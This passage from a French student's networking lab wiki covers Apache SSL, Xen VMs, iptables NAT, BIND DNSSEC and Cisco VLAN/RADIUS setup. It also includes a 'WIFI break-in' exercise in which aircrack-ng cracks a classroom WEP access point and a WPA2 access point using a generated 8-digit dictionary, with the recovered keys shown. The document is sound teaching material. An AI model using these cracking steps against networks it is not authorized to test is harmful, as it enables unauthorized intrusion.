        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12259</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12259"/>
		<updated>2026-02-12T15:18:34Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/network/interfaces&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24&lt;br /&gt;
    gateway 192.168.69.1&lt;br /&gt;
    &lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
